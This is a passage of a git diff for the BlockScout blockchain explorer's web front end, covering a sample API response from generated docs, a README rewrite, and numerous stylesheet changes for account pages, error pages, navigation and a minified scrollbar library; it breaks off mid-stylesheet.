+##### Response +* __Status__: 200 +* __Response headers:__ +``` +set-cookie: _explorer_key=SFMyNTY.g3QAAAABbQAAAAxjdXJyZW50X3VzZXJ0AAAAB2QABmF2YXRhcm0AAAAmaHR0cHM6Ly9leGFtcGxlLmNvbS9hdmF0YXIvdGVzdF91c2VyMTBkAAVlbWFpbG0AAAAbdGVzdF91c2VyLTEzQGJsb2Nrc2NvdXQuY29tZAACaWRhymQABG5hbWVtAAAAC1VzZXIgVGVzdDEwZAAIbmlja25hbWVtAAAAC3Rlc3RfdXNlcjEwZAADdWlkbQAAABBibG9ja3Njb3V0fDAwMDEwZAAMd2F0Y2hsaXN0X2lkYco.x_6dmEjpZ1o8_ct-M7pWWP0LkI66xhwl8gWeQt9XzHA; path=/; HttpOnly +content-type: application/json; charset=utf-8 +cache-control: max-age=0, private, must-revalidate +x-request-id: FxF1Y2b1jJGBaO4AAGrC +access-control-allow-credentials: true +access-control-allow-origin: * +access-control-expose-headers: +``` +* __Response body:__ +```json +{ + "message": "OK" +} +``` diff --git a/apps/block_scout_web/README.md b/apps/block_scout_web/README.md index 8c1a6223937a..448152b981af 100644 --- a/apps/block_scout_web/README.md +++ b/apps/block_scout_web/README.md @@ -1,6 +1,6 @@ # BlockScout Web -This is a tool for inspecting and analyzing the POA Network blockchain from a web browser. +BlockScoutWeb is the API and presentation layer of BlockScout built on the Phoenix framework. It exposes RESTful and GraphQL APIs for accessing blockchain data. It directs HTTP requests through Phoenix routers to controllers that manage resources like addresses, transactions, blocks, and tokens. It formats responses as JSON via view modules. It provides real-time updates on new blocks, transactions, and exchange rates using Phoenix Channels. It supports smart contract verification through multiple methods including integration with Sourcify. Custom plugs add functionalities such as rate limiting, API version checks, and logging. Configuration is retrieved from the application environment. It manages errors through fallback controllers. ## Machine Requirements @@ -33,7 +33,7 @@ You can also run IEx (Interactive Elixir): `$ iex -S mix phx.server` (This can b * Lint the Elixir code: `mix credo --strict` * Run the dialyzer: `mix dialyzer --halt-exit-status` * Check the Elixir code for vulnerabilities: `mix sobelow --config` -* Update translations templates and translations and check there are no uncommitted changes: `mix gettext.extract --merge` +* Update translation templates and translations and check there are no uncommitted changes: `mix gettext.extract --merge` * Lint the JavaScript code: `cd assets && npm run eslint` ## Internationalization diff --git a/apps/block_scout_web/assets/.eslintrc b/apps/block_scout_web/assets/.eslintrc deleted file mode 100644 index 535509b69a40..000000000000 --- a/apps/block_scout_web/assets/.eslintrc +++ /dev/null @@ -1,6 +0,0 @@ -{ - "extends": "standard", - "env": { - "browser": true - } -} diff --git a/apps/block_scout_web/assets/__tests__/lib/smart_contract/common_helpers.js b/apps/block_scout_web/assets/__tests__/lib/smart_contract/common_helpers.js index eb82cfe795d4..369d79647815 100644 --- a/apps/block_scout_web/assets/__tests__/lib/smart_contract/common_helpers.js +++ b/apps/block_scout_web/assets/__tests__/lib/smart_contract/common_helpers.js @@ -159,6 +159,7 @@ test('prepare contract args | type: bool', () => { } ] + // cspell:ignore fals document.getElementById('first').value = ' fals e ' const expectedValue = [false] const $functionInputs = $('[data-function-form]').find('input[name=function_input]') diff --git a/apps/block_scout_web/assets/css/app.scss b/apps/block_scout_web/assets/css/app.scss index 330b99c4e0e3..e3468b63580c 100644 --- a/apps/block_scout_web/assets/css/app.scss +++ b/apps/block_scout_web/assets/css/app.scss @@ -124,6 +124,8 @@ $fa-font-path: "~@fortawesome/fontawesome-free/webfonts"; @import "components/_dropzone"; @import "components/_search"; @import "components/_ad"; +@import "components/_account"; + // Font Awesome @import "components/_fontawesome_icon"; diff --git a/apps/block_scout_web/assets/css/components/_account.scss b/apps/block_scout_web/assets/css/components/_account.scss new file mode 100644 index 000000000000..8b1fc68a1395 --- /dev/null +++ b/apps/block_scout_web/assets/css/components/_account.scss @@ -0,0 +1,143 @@ +div.divider { + height: inherit; + width: 1px; + background: #828ba0; + margin-left: 10px; + margin-right: 10px; +} + +input.profile-item { + margin-left: 10px; + color: #828ba0; + outline: none; +} + +.header-account { + font-size: 18px; +} + +.label-account { + font-size: 1rem; +} + +.white { + color: #fff; +} + +.card-body-account { + max-width: none !important; +} + +.form-input { + display: flex; + margin-bottom: 1rem; +} + +.form-checkbox { + margin-right: 0.5rem; + align-self: center; +} + +.label-checkbox { + font-size: 14px; + margin-bottom: 0; +} + +.o-flow-x { + overflow-x: auto; +} + +.fs-14 { + font-size: 14px; +} + +.acc-link-active { + &:hover, &:focus { + background-color: $primary !important; + color: #fff !important; + } + background-color: $primary; + color: #fff; +} + +.table-watchlist { + margin: 30px; + + @include media-breakpoint-down(md) { + margin: 0; + } +} + +.form-error { + display: block; + font-size: 13px; + line-height: 1.2; + padding-top: 10px; +} + +.navbar-account { + @include media-breakpoint-down(sm) { + max-width: 100%; + flex-grow: 1; + } +} + +.nav-item.account { + @include media-breakpoint-down(sm) { + width: auto; + display: inline-grid; + } +} + +.nav.account { + @include media-breakpoint-down(sm) { + display: inline; + } +} + +li.public-tags-address { + list-style: none; + display: flex; +} + +input.public-tags-address { + flex-basis: 557px; + width: auto; +} + +.add-form-field { + background: none; + border: none; + margin-left: 0.5px; +} + +.remove-form-field { + background: none; + border: none; + + svg { + margin-top: 3px; + } +} + +.multiple-input-fields-container { + padding-inline-start: 0; + display: inline-block; + margin-bottom: 0; +} + +.line-input { + @include media-breakpoint-up(md) { + display: flex; + justify-content: space-between; + + .form-group { + flex-grow: 1; + margin-right: 4rem; + } + } +} + +.mr-4-rem { + margin-right: 4rem; +} \ No newline at end of file diff --git a/apps/block_scout_web/assets/css/components/_btn_line.scss b/apps/block_scout_web/assets/css/components/_btn_line.scss index b62b345db35c..854ab5b65d25 100644 --- a/apps/block_scout_web/assets/css/components/_btn_line.scss +++ b/apps/block_scout_web/assets/css/components/_btn_line.scss @@ -4,3 +4,13 @@ $btn-line-color: $secondary !default; .btn-line { @include btn-line($btn-line-bg, $btn-line-color); } + +.btn-line-inversed { + @include btn-line($btn-line-color, $btn-line-bg); +} + +.btn-line-inversed:hover { + background-color: $btn-line-color; + color: $btn-line-bg; + text-decoration: none; +} \ No newline at end of file diff --git a/apps/block_scout_web/assets/css/components/_card.scss b/apps/block_scout_web/assets/css/components/_card.scss index 109b5c47d011..bcbe9dce5821 100644 --- a/apps/block_scout_web/assets/css/components/_card.scss +++ b/apps/block_scout_web/assets/css/components/_card.scss @@ -326,4 +326,22 @@ $card-tab-icon-color-active: #fff !default; .function-output { margin-left: -1rem; +} + +.functions-tabs input[type="radio"] { + display: none; +} + +.card-misc-container { + padding-left: $card-horizontal-padding; + padding-top: $card-horizontal-padding; + + .btn-line-inversed, + .btn-line { + display: inline-flex; + } +} + +.nav-pills .nav-link.active { + background-color: $primary; } \ No newline at end of file diff --git a/apps/block_scout_web/assets/css/components/_errors.scss b/apps/block_scout_web/assets/css/components/_errors.scss index 05a850bc034d..4a596f61d328 100644 --- a/apps/block_scout_web/assets/css/components/_errors.scss +++ b/apps/block_scout_web/assets/css/components/_errors.scss @@ -1,20 +1,35 @@ $error-tablet-breakpoint: 768px; +$error-title-color: #606571; +$error-description-color: #718096; +$error-btn-color: #2B6CB0; +$error-delimiter-color: #D9D9D9; + +// In order to center vertically + +main:has(section.error-container) { + display: flex; +} + +.error-container { + margin: auto; +} // Block Not Found .block-not-found { display: flex; flex-direction: column; - padding-bottom: 50px; + padding: 6rem 0 9rem 0; @media (min-width: $error-tablet-breakpoint) { flex-direction: row; align-items: center; justify-content: center; - padding-top: 52px; } + gap: 50px; } .block-not-found-img { + order: -1; margin-bottom: 40px; text-align: center; @media (min-width: $error-tablet-breakpoint) { @@ -27,68 +42,65 @@ $error-tablet-breakpoint: 768px; } } +.block-not-found::before { + align-self: stretch; + border: 1px solid $error-delimiter-color; + border-radius: 10px; + content: ""; +} + .block-not-found-content { text-align: center; @media (min-width: $error-tablet-breakpoint) { text-align: left; - padding-left: 52px; - max-width: 396px; + max-width: 466px; } } .error-title { margin-bottom: 20px !important; + font-weight: 500; + font-size: 48px; + line-height: 58px; + color: $error-title-color; } .error-descr { display: block; - font-size: 14px; - color: #a3a9b5; - line-height: 1.714; + font-size: 16px; + color: $error-description-color; + line-height: 30px; margin-bottom: 22px; word-wrap: break-word; } .error-btn { + @include btn-line($btn-line-bg, $error-btn-color, 16px); + border-width: 2px; background: transparent; display: inline-flex !important; + border-radius: 8px; + font-weight: 600; + line-height: 24px; +} + +.dark-theme-applied .error-btn { + color: $error-btn-color; } // TX Not Found .tx-nf { display: flex; - align-items: center; + align-items: flex-start; justify-content: center; flex-direction: column; - padding-bottom: 50px; - @media (min-width: $error-tablet-breakpoint) { - flex-direction: row; - padding-top: 52px; - } -} - -.tx-nf-content { - margin-top: 52px; - max-width: 700px; - @media (min-width: $error-tablet-breakpoint) { - margin-left: 90px; - margin-top: 0; - } -} + margin: auto; + padding: 6rem 0 9rem 0; + max-width: 827px; + gap: 12px; -.tx-nf-blocks { - margin-bottom: 40px; - margin-top: 40px; -} - -.tx-nf-block { - background-color: #fff; - box-shadow: 0px 0px 30px 0px rgba(202, 199, 226, 0.5); - padding: 17px 40px 17px 20px; - position: relative; - border-radius: 6px; - @media (min-width: $error-tablet-breakpoint) { - width: calc(50% - 20px); + .error-title { + margin-bottom: 0 !important; } } @@ -96,42 +108,4 @@ $error-tablet-breakpoint: 768px; .error-descr { margin-bottom: 0; } - & + .tx-nf-block { - margin-top: 30px; - @media (min-width: $error-tablet-breakpoint) { - margin-top: 0; - } - } } - -.tx-nf-blocks-row { - display: flex; - justify-content: space-between; - flex-direction: column; - @media (min-width: $error-tablet-breakpoint) { - flex-direction: row; - } - & + .tx-nf-blocks-row { - margin-top: 30px; - @media (min-width: $error-tablet-breakpoint) { - margin-top: 40px; - } - } -} - -.tx-nf-number { - display: inline-block; - position: absolute; - top: -15px; - left: -15px; - width: 30px; - height: 30px; - border-radius: 15px; - background-color: $secondary; - box-shadow: 0px 3px 5px 0px rgba($secondary, 0.25); - color: #fff; - font-weight: 700; - font-size: 14px; - text-align: center; - line-height: 32px; -} \ No newline at end of file diff --git a/apps/block_scout_web/assets/css/components/_footer.scss b/apps/block_scout_web/assets/css/components/_footer.scss index c9250bb25b06..e8ed36586786 100644 --- a/apps/block_scout_web/assets/css/components/_footer.scss +++ b/apps/block_scout_web/assets/css/components/_footer.scss @@ -64,7 +64,7 @@ $footer-logo-width: auto !default; .footer-link { color: $footer-link-color; - &:hover { + &:hover, &:focus { color: $footer-link-color; text-decoration: underline; } diff --git a/apps/block_scout_web/assets/css/components/_navbar.scss b/apps/block_scout_web/assets/css/components/_navbar.scss index 9005d57ceb46..11cc6c8a6c21 100644 --- a/apps/block_scout_web/assets/css/components/_navbar.scss +++ b/apps/block_scout_web/assets/css/components/_navbar.scss @@ -1,6 +1,7 @@ // Default variables $header-background-color: #fff !default; $header-links-color: #828ba0 !default; +$header-links-background-color: #fff !default; $header-links-color-active: #333 !default; $header-icon-color: $header-links-color !default; $header-icon-color-hover: $secondary !default; @@ -11,7 +12,8 @@ $header-textfield-background-color: #f5f6fa !default; $header-textfield-magnifier-color: $header-links-color !default; $header-link-horizontal-padding: 0.71rem; $navbar-logo-height: auto !default; -$navbar-logo-width: 100% !default; +$navbar-logo-width: auto !default; +$header-logo-text-color: #333 !default; .navbar.navbar-primary { background-color: $header-background-color; @@ -23,6 +25,12 @@ $navbar-logo-width: 100% !default; } .navbar-nav { + + .nav-submenu { + padding: 10px 20px; + color: $header-links-color; + background-color: $header-links-background-color; + } .nav-link { outline: none; @@ -247,7 +255,7 @@ $navbar-logo-width: 100% !default; } .logo-text { - color: #333; + color: $header-logo-text-color; font-size: 1rem; font-weight: 700; margin-left: 5px; diff --git a/apps/block_scout_web/assets/css/components/_search.scss b/apps/block_scout_web/assets/css/components/_search.scss index 03499bde05b4..9574d524338c 100644 --- a/apps/block_scout_web/assets/css/components/_search.scss +++ b/apps/block_scout_web/assets/css/components/_search.scss @@ -1,3 +1,5 @@ +$main-search-autocomplete-background-color: #f5f6fa !default; + .mobile-search-show { @media screen and (max-width: 992px) { width: 100%; @@ -34,7 +36,7 @@ padding: 0 !important; border: none !important; border-radius: 0 !important; - background-color: #f5f6fa !important; + background-color: $main-search-autocomplete-background-color !important; @media screen and (max-width: 992px) { height: auto !important; } diff --git a/apps/block_scout_web/assets/css/components/_transaction.scss b/apps/block_scout_web/assets/css/components/_transaction.scss index 2d61de0e4d05..8522b149c126 100644 --- a/apps/block_scout_web/assets/css/components/_transaction.scss +++ b/apps/block_scout_web/assets/css/components/_transaction.scss @@ -8,7 +8,7 @@ } } -.download-all-transactions { +.download-all-items { text-align: center; color: #a3a9b5; font-size: 13px; @@ -16,7 +16,7 @@ @media (min-width: 768px) { margin-top: 30px; } - .download-all-transactions-link { + .download-all-items-link { display: inline-flex; align-items: center; text-decoration: none; @@ -54,6 +54,34 @@ } } +.actions-item { + margin-bottom: 4px; + display: inline-block; + + i { + font-size: 10px; + } + &.subitem { + margin-left: 10px; + } +} + +.actions-list-mobile-container { + @include media-breakpoint-down(sm) { + margin-top: 0.5rem; + } +} + +#actions-list-scroll-note { + padding-left: 19px; + font-size: 11px; + display: none; + + @media (max-width: $breakpoint-md) { + padding-left: 0; + } +} + .transfers-list-mobile-container { @include media-breakpoint-down(sm) { margin-top: 0.5rem; diff --git a/apps/block_scout_web/assets/css/custom-scrollbar.scss b/apps/block_scout_web/assets/css/custom-scrollbar.scss new file mode 100644 index 000000000000..4d318adf5993 --- /dev/null +++ b/apps/block_scout_web/assets/css/custom-scrollbar.scss @@ -0,0 +1,35 @@ +.mCustomScrollbar{-ms-touch-action:pinch-zoom;touch-action:pinch-zoom }.mCustomScrollbar.mCS_no_scrollbar,.mCustomScrollbar.mCS_touch_action{-ms-touch-action:auto;touch-action:auto }.mCustomScrollBox{position:relative;overflow:hidden;height:100%;max-width:100%;outline:0;direction:ltr }.mCSB_container{overflow:hidden;width:auto;height:auto }.mCSB_inside>.mCSB_container{margin-right:30px }.mCSB_container.mCS_no_scrollbar_y.mCS_y_hidden{margin-right:0 }.mCS-dir-rtl>.mCSB_inside>.mCSB_container{margin-right:0;margin-left:30px }.mCS-dir-rtl>.mCSB_inside>.mCSB_container.mCS_no_scrollbar_y.mCS_y_hidden{margin-left:0 }.mCSB_scrollTools{position:absolute;width:16px;height:auto;left:auto;top:0;right:0;bottom:0;opacity:.75;filter:"alpha(opacity=75)";-ms-filter:"alpha(opacity=75)" }.mCSB_outside+.mCSB_scrollTools{right:-26px }.mCS-dir-rtl>.mCSB_inside>.mCSB_scrollTools,.mCS-dir-rtl>.mCSB_outside+.mCSB_scrollTools{right:auto;left:0 }.mCS-dir-rtl>.mCSB_outside+.mCSB_scrollTools{left:-26px }.mCSB_scrollTools .mCSB_draggerContainer{position:absolute;top:0;left:0;bottom:0;right:0;height:auto }.mCSB_scrollTools a+.mCSB_draggerContainer{margin:20px 0 }.mCSB_scrollTools .mCSB_draggerRail{width:2px;height:100%;margin:0 auto;-webkit-border-radius:16px;-moz-border-radius:16px;border-radius:16px }.mCSB_scrollTools .mCSB_dragger{cursor:pointer;width:100%;height:30px;z-index:1 }.mCSB_scrollTools .mCSB_dragger .mCSB_dragger_bar{position:relative;width:4px;height:100%;margin:0 auto;-webkit-border-radius:16px;-moz-border-radius:16px;border-radius:16px;text-align:center }.mCSB_scrollTools_vertical.mCSB_scrollTools_onDrag_expand .mCSB_dragger.mCSB_dragger_onDrag_expanded .mCSB_dragger_bar,.mCSB_scrollTools_vertical.mCSB_scrollTools_onDrag_expand .mCSB_draggerContainer:hover .mCSB_dragger .mCSB_dragger_bar{width:12px }.mCSB_scrollTools_vertical.mCSB_scrollTools_onDrag_expand .mCSB_dragger.mCSB_dragger_onDrag_expanded+.mCSB_draggerRail,.mCSB_scrollTools_vertical.mCSB_scrollTools_onDrag_expand .mCSB_draggerContainer:hover .mCSB_draggerRail{width:8px }.mCSB_scrollTools .mCSB_buttonDown,.mCSB_scrollTools .mCSB_buttonUp{display:block;position:absolute;height:20px;width:100%;overflow:hidden;margin:0 auto;cursor:pointer }.mCSB_scrollTools .mCSB_buttonDown{bottom:0 }.mCSB_horizontal.mCSB_inside>.mCSB_container{margin-right:0;margin-bottom:30px }.mCSB_horizontal.mCSB_outside>.mCSB_container{min-height:100% }.mCSB_horizontal>.mCSB_container.mCS_no_scrollbar_x.mCS_x_hidden{margin-bottom:0 }.mCSB_scrollTools.mCSB_scrollTools_horizontal{width:auto;height:16px;top:auto;right:0;bottom:0;left:0 }.mCustomScrollBox+.mCSB_scrollTools+.mCSB_scrollTools.mCSB_scrollTools_horizontal,.mCustomScrollBox+.mCSB_scrollTools.mCSB_scrollTools_horizontal{bottom:-26px }.mCSB_scrollTools.mCSB_scrollTools_horizontal a+.mCSB_draggerContainer{margin:0 20px }.mCSB_scrollTools.mCSB_scrollTools_horizontal .mCSB_draggerRail{width:100%;height:2px;margin:7px 0 }.mCSB_scrollTools.mCSB_scrollTools_horizontal .mCSB_dragger{width:30px;height:100%;left:0 }.mCSB_scrollTools.mCSB_scrollTools_horizontal .mCSB_dragger .mCSB_dragger_bar{width:100%;height:4px;margin:6px auto }.mCSB_scrollTools_horizontal.mCSB_scrollTools_onDrag_expand .mCSB_dragger.mCSB_dragger_onDrag_expanded .mCSB_dragger_bar,.mCSB_scrollTools_horizontal.mCSB_scrollTools_onDrag_expand .mCSB_draggerContainer:hover .mCSB_dragger .mCSB_dragger_bar{height:12px;margin:2px auto }.mCSB_scrollTools_horizontal.mCSB_scrollTools_onDrag_expand .mCSB_dragger.mCSB_dragger_onDrag_expanded+.mCSB_draggerRail,.mCSB_scrollTools_horizontal.mCSB_scrollTools_onDrag_expand .mCSB_draggerContainer:hover .mCSB_draggerRail{height:8px;margin:4px 0 }.mCSB_scrollTools.mCSB_scrollTools_horizontal .mCSB_buttonLeft,.mCSB_scrollTools.mCSB_scrollTools_horizontal .mCSB_buttonRight{display:block;position:absolute;width:20px;height:100%;overflow:hidden;margin:0 auto;cursor:pointer }.mCSB_scrollTools.mCSB_scrollTools_horizontal .mCSB_buttonLeft{left:0 }.mCSB_scrollTools.mCSB_scrollTools_horizontal .mCSB_buttonRight{right:0 }.mCSB_container_wrapper{position:absolute;height:auto;width:auto;overflow:hidden;top:0;left:0;right:0;bottom:0;margin-right:30px;margin-bottom:30px }.mCSB_container_wrapper>.mCSB_container{padding-right:30px;padding-bottom:30px;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box }.mCSB_vertical_horizontal>.mCSB_scrollTools.mCSB_scrollTools_vertical{bottom:20px }.mCSB_vertical_horizontal>.mCSB_scrollTools.mCSB_scrollTools_horizontal{right:20px }.mCSB_container_wrapper.mCS_no_scrollbar_x.mCS_x_hidden+.mCSB_scrollTools.mCSB_scrollTools_vertical{bottom:0 }.mCS-dir-rtl>.mCustomScrollBox.mCSB_vertical_horizontal.mCSB_inside>.mCSB_scrollTools.mCSB_scrollTools_horizontal,.mCSB_container_wrapper.mCS_no_scrollbar_y.mCS_y_hidden+.mCSB_scrollTools~.mCSB_scrollTools.mCSB_scrollTools_horizontal{right:0 }.mCS-dir-rtl>.mCustomScrollBox.mCSB_vertical_horizontal.mCSB_inside>.mCSB_scrollTools.mCSB_scrollTools_horizontal{left:20px }.mCS-dir-rtl>.mCustomScrollBox.mCSB_vertical_horizontal.mCSB_inside>.mCSB_container_wrapper.mCS_no_scrollbar_y.mCS_y_hidden+.mCSB_scrollTools~.mCSB_scrollTools.mCSB_scrollTools_horizontal{left:0 }.mCS-dir-rtl>.mCSB_inside>.mCSB_container_wrapper{margin-right:0;margin-left:30px }.mCSB_container_wrapper.mCS_no_scrollbar_y.mCS_y_hidden>.mCSB_container{padding-right:0 }.mCSB_container_wrapper.mCS_no_scrollbar_x.mCS_x_hidden>.mCSB_container{padding-bottom:0 }.mCustomScrollBox.mCSB_vertical_horizontal.mCSB_inside>.mCSB_container_wrapper.mCS_no_scrollbar_y.mCS_y_hidden{margin-right:0;margin-left:0 }.mCustomScrollBox.mCSB_vertical_horizontal.mCSB_inside>.mCSB_container_wrapper.mCS_no_scrollbar_x.mCS_x_hidden{margin-bottom:0 }.mCSB_scrollTools,.mCSB_scrollTools .mCSB_buttonDown,.mCSB_scrollTools .mCSB_buttonLeft,.mCSB_scrollTools .mCSB_buttonRight,.mCSB_scrollTools .mCSB_buttonUp,.mCSB_scrollTools .mCSB_dragger .mCSB_dragger_bar{-webkit-transition:opacity .2s ease-in-out,background-color .2s ease-in-out;-moz-transition:opacity .2s ease-in-out,background-color .2s ease-in-out;-o-transition:opacity .2s ease-in-out,background-color .2s ease-in-out;transition:opacity .2s ease-in-out,background-color .2s ease-in-out }.mCSB_scrollTools_horizontal.mCSB_scrollTools_onDrag_expand .mCSB_draggerRail,.mCSB_scrollTools_horizontal.mCSB_scrollTools_onDrag_expand .mCSB_dragger_bar,.mCSB_scrollTools_vertical.mCSB_scrollTools_onDrag_expand .mCSB_draggerRail,.mCSB_scrollTools_vertical.mCSB_scrollTools_onDrag_expand .mCSB_dragger_bar{-webkit-transition:width .2s ease-out .2s,height .2s ease-out .2s,margin-left .2s ease-out .2s,margin-right .2s ease-out .2s,margin-top .2s ease-out .2s,margin-bottom .2s ease-out .2s,opacity .2s ease-in-out,background-color .2s ease-in-out;-moz-transition:width .2s ease-out .2s,height .2s ease-out .2s,margin-left .2s ease-out .2s,margin-right .2s ease-out .2s,margin-top .2s ease-out .2s,margin-bottom .2s ease-out .2s,opacity .2s ease-in-out,background-color .2s ease-in-out;-o-transition:width .2s ease-out .2s,height .2s ease-out .2s,margin-left .2s ease-out .2s,margin-right .2s ease-out .2s,margin-top .2s ease-out .2s,margin-bottom .2s ease-out .2s,opacity .2s ease-in-out,background-color .2s ease-in-out;transition:width .2s ease-out .2s,height .2s ease-out .2s,margin-left .2s ease-out .2s,margin-right .2s ease-out .2s,margin-top .2s ease-out .2s,margin-bottom .2s ease-out .2s,opacity .2s ease-in-out,background-color .2s ease-in-out }.mCS-autoHide>.mCustomScrollBox>.mCSB_scrollTools,.mCS-autoHide>.mCustomScrollBox~.mCSB_scrollTools{opacity:0;filter:"alpha(opacity=0)";-ms-filter:"alpha(opacity=0)" }.mCS-autoHide:hover>.mCustomScrollBox>.mCSB_scrollTools,.mCS-autoHide:hover>.mCustomScrollBox~.mCSB_scrollTools,.mCustomScrollBox:hover>.mCSB_scrollTools,.mCustomScrollBox:hover~.mCSB_scrollTools,.mCustomScrollbar>.mCustomScrollBox>.mCSB_scrollTools.mCSB_scrollTools_onDrag,.mCustomScrollbar>.mCustomScrollBox~.mCSB_scrollTools.mCSB_scrollTools_onDrag{opacity:1;filter:"alpha(opacity=100)";-ms-filter:"alpha(opacity=100)" }.mCSB_scrollTools .mCSB_draggerRail{background-color:#000;background-color:rgba(0,0,0,.4);filter:"alpha(opacity=40)";-ms-filter:"alpha(opacity=40)" }.mCSB_scrollTools .mCSB_dragger .mCSB_dragger_bar{background-color:#fff;background-color:rgba(255,255,255,.75);filter:"alpha(opacity=75)";-ms-filter:"alpha(opacity=75)" }.mCSB_scrollTools .mCSB_dragger:hover .mCSB_dragger_bar{background-color:#fff;background-color:rgba(255,255,255,.85);filter:"alpha(opacity=85)";-ms-filter:"alpha(opacity=85)" }.mCSB_scrollTools .mCSB_dragger.mCSB_dragger_onDrag .mCSB_dragger_bar,.mCSB_scrollTools .mCSB_dragger:active .mCSB_dragger_bar{background-color:#fff;background-color:rgba(255,255,255,.9);filter:"alpha(opacity=90)";-ms-filter:"alpha(opacity=90)" }.mCSB_scrollTools .mCSB_buttonDown,.mCSB_scrollTools .mCSB_buttonLeft,.mCSB_scrollTools .mCSB_buttonRight,.mCSB_scrollTools .mCSB_buttonUp{background-repeat:no-repeat;opacity:.4;filter:"alpha(opacity=40)";-ms-filter:"alpha(opacity=40)" }.mCSB_scrollTools .mCSB_buttonUp{background-position:0 0 }.mCSB_scrollTools .mCSB_buttonDown{background-position:0 -20px }.mCSB_scrollTools .mCSB_buttonLeft{background-position:0 -40px }.mCSB_scrollTools .mCSB_buttonRight{background-position:0 -56px }.mCSB_scrollTools .mCSB_buttonDown:hover,.mCSB_scrollTools .mCSB_buttonLeft:hover,.mCSB_scrollTools .mCSB_buttonRight:hover,.mCSB_scrollTools .mCSB_buttonUp:hover{opacity:.75;filter:"alpha(opacity=75)";-ms-filter:"alpha(opacity=75)" }.mCSB_scrollTools .mCSB_buttonDown:active,.mCSB_scrollTools .mCSB_buttonLeft:active,.mCSB_scrollTools .mCSB_buttonRight:active,.mCSB_scrollTools .mCSB_buttonUp:active{opacity:.9;filter:"alpha(opacity=90)";-ms-filter:"alpha(opacity=90)" }.mCS-dark.mCSB_scrollTools .mCSB_draggerRail{background-color:#000;background-color:rgba(0,0,0,.15) }.mCS-dark.mCSB_scrollTools .mCSB_dragger .mCSB_dragger_bar{background-color:#000;background-color:rgba(0,0,0,.75) }.mCS-dark.mCSB_scrollTools .mCSB_dragger:hover .mCSB_dragger_bar{background-color:rgba(0,0,0,.85) }.mCS-dark.mCSB_scrollTools .mCSB_dragger.mCSB_dragger_onDrag .mCSB_dragger_bar,.mCS-dark.mCSB_scrollTools .mCSB_dragger:active .mCSB_dragger_bar{background-color:rgba(0,0,0,.9) }.mCS-dark.mCSB_scrollTools .mCSB_buttonUp{background-position:-80px 0 }.mCS-dark.mCSB_scrollTools .mCSB_buttonDown{background-position:-80px -20px }.mCS-dark.mCSB_scrollTools .mCSB_buttonLeft{background-position:-80px -40px }.mCS-dark.mCSB_scrollTools .mCSB_buttonRight{background-position:-80px -56px }.mCS-dark-2.mCSB_scrollTools .mCSB_draggerRail,.mCS-light-2.mCSB_scrollTools .mCSB_draggerRail{width:4px;background-color:#fff;background-color:rgba(255,255,255,.1);-webkit-border-radius:1px;-moz-border-radius:1px;border-radius:1px }.mCS-dark-2.mCSB_scrollTools .mCSB_dragger .mCSB_dragger_bar,.mCS-light-2.mCSB_scrollTools .mCSB_dragger .mCSB_dragger_bar{width:4px;background-color:#fff;background-color:rgba(255,255,255,.75);-webkit-border-radius:1px;-moz-border-radius:1px;border-radius:1px }.mCS-dark-2.mCSB_scrollTools_horizontal .mCSB_dragger .mCSB_dragger_bar,.mCS-dark-2.mCSB_scrollTools_horizontal .mCSB_draggerRail,.mCS-light-2.mCSB_scrollTools_horizontal .mCSB_dragger .mCSB_dragger_bar,.mCS-light-2.mCSB_scrollTools_horizontal .mCSB_draggerRail{width:100%;height:4px;margin:6px auto }.mCS-light-2.mCSB_scrollTools .mCSB_dragger:hover .mCSB_dragger_bar{background-color:#fff;background-color:rgba(255,255,255,.85) }.mCS-light-2.mCSB_scrollTools .mCSB_dragger.mCSB_dragger_onDrag .mCSB_dragger_bar,.mCS-light-2.mCSB_scrollTools .mCSB_dragger:active .mCSB_dragger_bar{background-color:#fff;background-color:rgba(255,255,255,.9) }.mCS-light-2.mCSB_scrollTools .mCSB_buttonUp{background-position:-32px 0 }.mCS-light-2.mCSB_scrollTools .mCSB_buttonDown{background-position:-32px -20px }.mCS-light-2.mCSB_scrollTools .mCSB_buttonLeft{background-position:-40px -40px }.mCS-light-2.mCSB_scrollTools .mCSB_buttonRight{background-position:-40px -56px }.mCS-dark-2.mCSB_scrollTools .mCSB_draggerRail{background-color:#000;background-color:rgba(0,0,0,.1);-webkit-border-radius:1px;-moz-border-radius:1px;border-radius:1px }.mCS-dark-2.mCSB_scrollTools .mCSB_dragger .mCSB_dragger_bar{background-color:#000;background-color:rgba(0,0,0,.75);-webkit-border-radius:1px;-moz-border-radius:1px;border-radius:1px }.mCS-dark-2.mCSB_scrollTools .mCSB_dragger:hover .mCSB_dragger_bar{background-color:#000;background-color:rgba(0,0,0,.85) }.mCS-dark-2.mCSB_scrollTools .mCSB_dragger.mCSB_dragger_onDrag .mCSB_dragger_bar,.mCS-dark-2.mCSB_scrollTools .mCSB_dragger:active .mCSB_dragger_bar{background-color:#000;background-color:rgba(0,0,0,.9) }.mCS-dark-2.mCSB_scrollTools .mCSB_buttonUp{background-position:-112px 0 }.mCS-dark-2.mCSB_scrollTools .mCSB_buttonDown{background-position:-112px -20px }.mCS-dark-2.mCSB_scrollTools .mCSB_buttonLeft{background-position:-120px -40px }.mCS-dark-2.mCSB_scrollTools .mCSB_buttonRight{background-position:-120px -56px }.mCS-dark-thick.mCSB_scrollTools .mCSB_draggerRail,.mCS-light-thick.mCSB_scrollTools .mCSB_draggerRail{width:4px;background-color:#fff;background-color:rgba(255,255,255,.1);-webkit-border-radius:2px;-moz-border-radius:2px;border-radius:2px }.mCS-dark-thick.mCSB_scrollTools .mCSB_dragger .mCSB_dragger_bar,.mCS-light-thick.mCSB_scrollTools .mCSB_dragger .mCSB_dragger_bar{width:6px;background-color:#fff;background-color:rgba(255,255,255,.75);-webkit-border-radius:2px;-moz-border-radius:2px;border-radius:2px }.mCS-dark-thick.mCSB_scrollTools_horizontal .mCSB_draggerRail,.mCS-light-thick.mCSB_scrollTools_horizontal .mCSB_draggerRail{width:100%;height:4px;margin:6px 0 }.mCS-dark-thick.mCSB_scrollTools_horizontal .mCSB_dragger .mCSB_dragger_bar,.mCS-light-thick.mCSB_scrollTools_horizontal .mCSB_dragger .mCSB_dragger_bar{width:100%;height:6px;margin:5px auto }.mCS-light-thick.mCSB_scrollTools .mCSB_dragger:hover .mCSB_dragger_bar{background-color:#fff;background-color:rgba(255,255,255,.85) }.mCS-light-thick.mCSB_scrollTools .mCSB_dragger.mCSB_dragger_onDrag .mCSB_dragger_bar,.mCS-light-thick.mCSB_scrollTools .mCSB_dragger:active .mCSB_dragger_bar{background-color:#fff;background-color:rgba(255,255,255,.9) }.mCS-light-thick.mCSB_scrollTools .mCSB_buttonUp{background-position:-16px 